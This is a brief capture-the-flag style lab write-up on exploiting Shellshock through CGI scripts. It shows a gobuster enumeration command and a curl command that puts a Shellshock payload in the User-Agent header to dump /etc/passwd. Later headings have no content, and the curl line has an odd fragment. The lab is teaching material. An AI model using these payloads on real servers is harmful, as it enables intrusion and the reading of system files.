CGI Shellshock Attacks
Overview
HTB Academy Lab Solution
Lab: Shellshock Exploitation
Step 1: CGI Script Discovery
# Enumerate CGI scripts
gobuster dir -u http://TARGET/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi
# Expected finding: access.cgi
# URL: http://TARGET/cgi-bin/access.cgiStep 2: Vulnerability Confirmation
# Test Shellshock via User-Agent header
curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://TARGET/cgi-bin/access.cgi
# If vulnerable: /etc/passwd contents returnedStep 3: Command Execution
Step 4: Reverse Shell (Alternative)
Technical Details
Vulnerability Mechanism
CGI Attack Vector
Common Payloads
Attack Summary
Last updated